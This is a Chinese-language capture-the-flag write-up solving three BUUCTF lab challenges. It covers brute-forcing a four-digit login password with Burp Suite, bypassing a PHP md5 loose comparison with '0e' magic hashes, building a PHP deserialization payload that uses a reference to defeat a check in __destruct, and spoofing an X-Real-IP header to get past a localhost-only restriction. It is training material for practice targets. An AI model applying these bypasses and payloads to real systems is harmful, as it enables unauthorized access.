1.BRUTE 1
题目链接
https://buuoj.cn/challenges#BUU%20BRUTE%201
解题过程
先尝试空密码登录,提示用户名错误,试一下admin,给出提示密码为四位数字。
由于密码位数较低,且密码全部为数字,用burpsuite就可以爆破。
2.CODE REVIEW 1
题目链接
https://buuoj.cn/challenges#BUU%20CODE%20REVIEW%201
解题过程
代码审计题,以前做过类似的,只是当时提交用的是burp提交的,现在试一下postman提交请求。
源代码如下:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
这里有三层考点,第一层考点是GET/POST请求,分别使用GET发送 pleaseget,以及用POST发送 pleasepost, md51, md52, obj 四个参数,这里用postman实现。
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
第二层考点是md5碰撞,这里用的是PHP弱类型“==”,只要让两个参数开头都等于”0e”,就可以让PHP将其识别为数字,实现绕过。
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
最后的考点是反序列化,调用__destruct()魔术方法,于是直接构造:
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$a = new BUU();
$a->input=&$a->correct;
echo serialize($a);
得到答案:
使用postman:
3.BURP COURSE 1
题目链接
https://buuoj.cn/challenges#BUU%20BURP%20COURSE%201
解题过程
进入提示只能本地访问。
修改了xff和referer都不行,没有找到解题的头绪。
看了wp发现X-Real-IP=127.0.0.1可以访问,是我太菜了。